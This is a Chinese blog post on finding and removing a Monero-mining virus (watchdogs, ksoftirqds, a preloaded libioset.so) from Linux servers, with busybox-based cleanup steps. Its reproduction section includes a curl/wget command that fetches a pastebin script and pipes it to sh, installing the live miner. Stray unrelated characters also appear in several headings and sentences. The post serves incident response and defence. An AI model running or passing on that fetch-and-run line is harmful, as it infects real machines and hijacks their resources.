記服務(wù)器中招挖礦病毒排查過程(解決方案篇)

背景

從昨日(20190221)中午起, 發(fā)現(xiàn)大量測(cè)試環(huán)境機(jī)器和一臺(tái)線上機(jī)器疑似感染挖礦病毒(后來確認(rèn)的確是門羅幣挖礦病毒), 經(jīng)過一天多的緊急排查, 已基本搞定了該病毒.

該病毒這兩天疑似大規(guī)模爆發(fā), 已經(jīng)有幾個(gè)其他公司的朋友中招, 也在網(wǎng)上看到一些帖子和提問.

下面先貼出梳理后的解決過程, 有時(shí)間再附上詳細(xì)的分析過程.

直觀表現(xiàn)

  • top, ps -ef 無異常進(jìn)程
  • load average 穩(wěn)步飆升
  • netstat 命令被刪除
  • 嘗試建立大量22端口, 6379端口的內(nèi)網(wǎng)連接
  • crontab 被添加定時(shí)挖礦腳本, 刪除無效
crontab.jpg

傳播途徑

  • Jenkins漏洞(or 弱密碼?)侵入
  • 嘗試root用戶ssh的免密登錄
  • 嘗試redis內(nèi)網(wǎng)登錄

準(zhǔn)備過程

獲取busybox

因感染病毒后, ls等系統(tǒng)命令會(huì)被劫持, 需要busybox替代這些系統(tǒng)命令, 下面提供從busybox官方docker鏡像中提取的靜態(tài)編譯版busybox過程.

docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit

宿主機(jī)即獲取到: /tmp/busybox

復(fù)現(xiàn)感染過程()

這里演示docker環(huán)境root感染模式, docker與虛擬機(jī)環(huán)境有區(qū)別, 病毒行為會(huì)受限, 你也可以使用虛擬機(jī)進(jìn)行測(cè)試.

docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

使用busybox代替系統(tǒng)命令

busybox top, busybox ps -ef

busybox為靜態(tài)編譯版, 不依賴so庫, 系統(tǒng)的ls等命令已被通過so庫的preload機(jī)制被病毒劫持, ls會(huì)導(dǎo)致/etc/cron.d/root文件被刷寫為病毒定時(shí)執(zhí)行命令.

發(fā)現(xiàn)比系統(tǒng)命令多兩個(gè)進(jìn)程(進(jìn)程個(gè)數(shù)跟cpu核數(shù)有關(guān)), 耗盡了所有cpu資源

/tmp/ksoftirqds
/tmp/watchdogs

查殺過程(系統(tǒng)命令已不可信, 操作優(yōu)先采用busybox)

關(guān)閉crontab

systemctl stop crond

安裝busybox

前面已經(jīng)將靜態(tài)編譯版的busybox放置在宿主機(jī)/tmp目錄下, 同時(shí)又將/tmp掛載到了docker 中的 /tmp 目錄下. 如果你使用虛擬機(jī)測(cè)試, 請(qǐng)自行上傳.

chmod +x /tmp/busybox && mv /tmp/busybox /sbin/

寫hosts, 屏蔽病毒腳本下載

busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts

刪除姑宽,創(chuàng)建穿肄,并鎖定 crontab相關(guān)文件

busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i  /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root 
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

備份重要的crontab,然后刪除cron.d目錄的其他文件

busybox rm -rf /etc/cron.d/*

檢查并刪除下面目錄有異常文件

busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly

刪除病毒相關(guān)執(zhí)行文件和啟動(dòng)腳本

busybox rm /sbin/watchdogs
busybox rm /usr/sbin/watchdogs
busybox rm /etc/init.d/watchdogs

busybox find / -type f -name '*watchdogs*' | busybox xargs rm -f

刪除病毒進(jìn)程

busybox pkill watchdogs
busybox pkill ksoftirqds

刪除被preload的so庫

busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache

驗(yàn)證libioset.so被卸載

lsof | grep usr/local/lib/libioset.so

無輸出, 則該動(dòng)態(tài)鏈接庫被卸載, 直接執(zhí)行驗(yàn)證步驟;

有輸出, kill掉占用的進(jìn)程, 重復(fù)執(zhí)行該步驟;

若反復(fù)執(zhí)行后無法成功卸載該動(dòng)態(tài)鏈接庫, 請(qǐng)執(zhí)行服務(wù)器重啟操作.

重啟服務(wù)器

驗(yàn)證步驟

busybox top # 查看系統(tǒng)負(fù)載
crontab -l  # 查看是否還有異常任務(wù)
busybox chattr -i /etc/cron.d/root   # 過一段時(shí)間查看是否有異常任務(wù)寫入

如果沒有成功棚亩,重復(fù)執(zhí)行整個(gè)查殺過程拼卵,盡量在短時(shí)間內(nèi)完成所有操作并重啟奢浑,否則病毒會(huì)利用已加載的動(dòng)態(tài)鏈接庫恢復(fù)感染

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市腋腮,隨后出現(xiàn)的幾起案子雀彼,更是在濱河造成了極大的恐慌,老刑警劉巖即寡,帶你破解...
    沈念sama閱讀 206,723評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件徊哑,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡聪富,警方通過查閱死者的電腦和手機(jī)莺丑,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,485評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來墩蔓,“玉大人梢莽,你說我怎么就攤上這事〖榕” “怎么了昏名?”我有些...
    開封第一講書人閱讀 152,998評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)阵面。 經(jīng)常有香客問我葡粒,道長(zhǎng)份殿,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,323評(píng)論 1 279
  • 正文 為了忘掉前任嗽交,我火速辦了婚禮卿嘲,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘夫壁。我一直安慰自己拾枣,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,355評(píng)論 5 374
  • 文/花漫 我一把揭開白布盒让。 她就那樣靜靜地躺著梅肤,像睡著了一般。 火紅的嫁衣襯著肌膚如雪邑茄。 梳的紋絲不亂的頭發(fā)上姨蝴,一...
    開封第一講書人閱讀 49,079評(píng)論 1 285
  • 那天,我揣著相機(jī)與錄音肺缕,去河邊找鬼左医。 笑死,一個(gè)胖子當(dāng)著我的面吹牛同木,可吹牛的內(nèi)容都是我干的浮梢。 我是一名探鬼主播,決...
    沈念sama閱讀 38,389評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼彤路,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼秕硝!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起洲尊,我...
    開封第一講書人閱讀 37,019評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤远豺,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后坞嘀,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體躯护,經(jīng)...
    沈念sama閱讀 43,519評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,971評(píng)論 2 325
  • 正文 我和宋清朗相戀三年姆吭,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了榛做。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片唁盏。...
    茶點(diǎn)故事閱讀 38,100評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡内狸,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出厘擂,到底是詐尸還是另有隱情昆淡,我是刑警寧澤,帶...
    沈念sama閱讀 33,738評(píng)論 4 324
  • 正文 年R本政府宣布刽严,位于F島的核電站昂灵,受9級(jí)特大地震影響避凝,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜眨补,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,293評(píng)論 3 307
  • 文/蒙蒙 一管削、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧撑螺,春花似錦含思、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,289評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至线婚,卻和暖如春遏弱,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背塞弊。 一陣腳步聲響...
    開封第一講書人閱讀 31,517評(píng)論 1 262
  • 我被黑心中介騙來泰國(guó)打工漱逸, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人居砖。 一個(gè)月前我還...
    沈念sama閱讀 45,547評(píng)論 2 354
  • 正文 我出身青樓虹脯,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親奏候。 傳聞我的和親對(duì)象是個(gè)殘疾皇子循集,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,834評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容